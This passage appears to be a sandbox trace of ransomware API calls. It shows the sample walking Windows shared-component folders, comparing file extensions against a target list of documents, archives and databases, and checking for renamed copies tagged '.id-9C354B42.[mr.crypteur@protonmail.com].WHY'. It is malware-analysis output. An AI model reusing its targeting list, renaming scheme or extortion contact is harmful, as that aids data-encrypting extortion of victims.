lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0213.588] lstrlenW (lpString=".docx") returned 5 [0213.588] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0213.588] lstrlenW (lpString=".pdf") returned 4 [0213.588] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0213.588] lstrlenW (lpString=".xls") returned 4 [0213.589] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0213.589] lstrlenW (lpString=".xlsx") returned 5 [0213.589] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0213.589] lstrlenW (lpString=".ppt") returned 4 [0213.589] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0213.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.589] lstrlenW (lpString=".zip") returned 4 [0213.589] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0213.589] lstrlenW (lpString=".rar") returned 4 [0213.589] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0213.589] lstrlenW (lpString=".bz2") returned 4 [0213.590] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0213.590] lstrlenW (lpString=".7z") returned 3 [0213.590] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0213.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.590] lstrlenW (lpString=".dbf") returned 4 [0213.590] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0213.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.590] lstrlenW (lpString=".1cd") returned 4 [0213.590] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0213.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0213.590] lstrlenW (lpString=".jpg") returned 4 [0213.590] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0213.591] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0213.591] lstrlenW (lpString="kor-kor.xml") returned 11 [0213.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0215.161] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=392) returned 1 [0215.161] CloseHandle (hObject=0x300) returned 1 [0215.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0215.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.202] lstrlenW (lpString=".doc") returned 4 [0215.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.204] lstrlenW (lpString=".docx") returned 5 [0215.204] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0215.204] lstrlenW (lpString=".pdf") returned 4 [0215.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.204] lstrlenW (lpString=".xls") returned 4 [0215.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.204] lstrlenW (lpString=".xlsx") returned 5 [0215.204] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0215.204] lstrlenW (lpString=".ppt") returned 4 [0215.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.204] lstrlenW (lpString=".zip") returned 4 [0215.205] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.205] lstrlenW (lpString=".rar") returned 4 [0215.205] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.205] lstrlenW (lpString=".bz2") returned 4 [0215.205] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.205] lstrlenW (lpString=".7z") returned 3 [0215.205] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.205] lstrlenW (lpString=".dbf") returned 4 [0215.205] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.206] lstrlenW (lpString=".1cd") returned 4 [0215.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.206] lstrlenW (lpString=".jpg") returned 4 [0215.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.206] lstrlenW (lpString=".doc") returned 4 [0215.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.207] lstrlenW (lpString=".docx") returned 5 [0215.207] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0215.207] lstrlenW (lpString=".pdf") returned 4 [0215.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.207] lstrlenW (lpString=".xls") returned 4 [0215.207] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.207] lstrlenW (lpString=".xlsx") returned 5 [0215.207] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0215.208] lstrlenW (lpString=".ppt") returned 4 [0215.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.208] lstrlenW (lpString=".zip") returned 4 [0215.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.208] lstrlenW (lpString=".rar") returned 4 [0215.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.208] lstrlenW (lpString=".bz2") returned 4 [0215.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.208] lstrlenW (lpString=".7z") returned 3 [0215.208] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.208] lstrlenW (lpString=".dbf") returned 4 [0215.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.209] lstrlenW (lpString=".1cd") returned 4 [0215.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0215.211] lstrlenW (lpString=".jpg") returned 4 [0215.211] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.211] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0215.211] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0215.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0216.799] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=247) returned 1 [0216.800] CloseHandle (hObject=0x30c) returned 1 [0216.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0216.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0216.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.801] lstrlenW (lpString=".doc") returned 4 [0216.801] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.801] lstrlenW (lpString=".docx") returned 5 [0216.801] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0216.801] lstrlenW (lpString=".pdf") returned 4 [0216.801] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.801] lstrlenW (lpString=".xls") returned 4 [0216.801] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.801] lstrlenW (lpString=".xlsx") returned 5 [0216.802] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0216.802] lstrlenW (lpString=".ppt") returned 4 [0216.802] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.802] lstrlenW (lpString=".zip") returned 4 [0216.802] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.802] lstrlenW (lpString=".rar") returned 4 [0216.802] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.802] lstrlenW (lpString=".bz2") returned 4 [0216.802] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.803] lstrlenW (lpString=".7z") returned 3 [0216.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.803] lstrlenW (lpString=".dbf") returned 4 [0216.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.803] lstrlenW (lpString=".1cd") returned 4 [0216.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0216.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.803] lstrlenW (lpString=".jpg") returned 4 [0216.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.806] lstrlenW (lpString=".doc") returned 4 [0216.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.806] lstrlenW (lpString=".docx") returned 5 [0216.806] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0216.806] lstrlenW (lpString=".pdf") returned 4 [0216.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.806] lstrlenW (lpString=".xls") returned 4 [0216.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.806] lstrlenW (lpString=".xlsx") returned 5 [0216.806] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0216.806] lstrlenW (lpString=".ppt") returned 4 [0216.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.807] lstrlenW (lpString=".zip") returned 4 [0216.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.807] lstrlenW (lpString=".rar") returned 4 [0216.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.807] lstrlenW (lpString=".bz2") returned 4 [0216.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.807] lstrlenW (lpString=".7z") returned 3 [0216.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.807] lstrlenW (lpString=".dbf") returned 4 [0216.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.808] lstrlenW (lpString=".1cd") returned 4 [0216.808] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0216.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0216.808] lstrlenW (lpString=".jpg") returned 4 [0216.808] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.808] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0216.808] lstrlenW (lpString="base_heb.xml") returned 12 [0216.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0216.812] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=738) returned 1 [0216.812] CloseHandle (hObject=0x30c) returned 1 [0216.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0216.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0216.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.813] lstrlenW (lpString=".doc") returned 4 [0216.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.813] lstrlenW (lpString=".docx") returned 5 [0216.813] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0216.813] lstrlenW (lpString=".pdf") returned 4 [0216.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.813] lstrlenW (lpString=".xls") returned 4 [0216.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.813] lstrlenW (lpString=".xlsx") returned 5 [0216.814] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0216.814] lstrlenW (lpString=".ppt") returned 4 [0216.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.814] lstrlenW (lpString=".zip") returned 4 [0216.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.814] lstrlenW (lpString=".rar") returned 4 [0216.814] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.814] lstrlenW (lpString=".bz2") returned 4 [0216.816] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.816] lstrlenW (lpString=".7z") returned 3 [0216.816] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.816] lstrlenW (lpString=".dbf") returned 4 [0216.816] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.816] lstrlenW (lpString=".1cd") returned 4 [0216.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0216.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.817] lstrlenW (lpString=".jpg") returned 4 [0216.817] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.817] lstrlenW (lpString=".doc") returned 4 [0216.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.818] lstrlenW (lpString=".docx") returned 5 [0216.818] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0216.818] lstrlenW (lpString=".pdf") returned 4 [0216.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.818] lstrlenW (lpString=".xls") returned 4 [0216.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.818] lstrlenW (lpString=".xlsx") returned 5 [0216.818] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0216.818] lstrlenW (lpString=".ppt") returned 4 [0216.818] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.819] lstrlenW (lpString=".zip") returned 4 [0216.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.819] lstrlenW (lpString=".rar") returned 4 [0216.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.819] lstrlenW (lpString=".bz2") returned 4 [0216.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.820] lstrlenW (lpString=".7z") returned 3 [0216.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.820] lstrlenW (lpString=".dbf") returned 4 [0216.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.821] lstrlenW (lpString=".1cd") returned 4 [0216.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0216.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0216.821] lstrlenW (lpString=".jpg") returned 4 [0216.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.821] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0216.822] lstrlenW (lpString="base_jpn.xml") returned 12 [0216.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0216.823] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=804) returned 1 [0216.823] CloseHandle (hObject=0x30c) returned 1 [0216.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0216.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0216.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.824] lstrlenW (lpString=".doc") returned 4 [0216.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.824] lstrlenW (lpString=".docx") returned 5 [0216.826] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0216.826] lstrlenW (lpString=".pdf") returned 4 [0216.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.826] lstrlenW (lpString=".xls") returned 4 [0216.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.826] lstrlenW (lpString=".xlsx") returned 5 [0216.826] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0216.827] lstrlenW (lpString=".ppt") returned 4 [0216.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.827] lstrlenW (lpString=".zip") returned 4 [0216.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.827] lstrlenW (lpString=".rar") returned 4 [0216.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.827] lstrlenW (lpString=".bz2") returned 4 [0216.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.827] lstrlenW (lpString=".7z") returned 3 [0216.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.828] lstrlenW (lpString=".dbf") returned 4 [0216.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.828] lstrlenW (lpString=".1cd") returned 4 [0216.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0216.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.828] lstrlenW (lpString=".jpg") returned 4 [0216.828] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0216.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.829] lstrlenW (lpString=".doc") returned 4 [0216.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0216.829] lstrlenW (lpString=".docx") returned 5 [0216.829] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0216.829] lstrlenW (lpString=".pdf") returned 4 [0216.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0216.830] lstrlenW (lpString=".xls") returned 4 [0216.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0216.830] lstrlenW (lpString=".xlsx") returned 5 [0216.830] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0216.830] lstrlenW (lpString=".ppt") returned 4 [0216.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0216.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.830] lstrlenW (lpString=".zip") returned 4 [0216.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0216.830] lstrlenW (lpString=".rar") returned 4 [0216.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0216.830] lstrlenW (lpString=".bz2") returned 4 [0216.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0216.831] lstrlenW (lpString=".7z") returned 3 [0216.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0216.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.833] lstrlenW (lpString=".dbf") returned 4 [0216.833] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0216.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0216.833] lstrlenW (lpString=".1cd") returned 4 [0216.834] lstrcmpiW (lpString1=".1cd", lpString2=".xml") 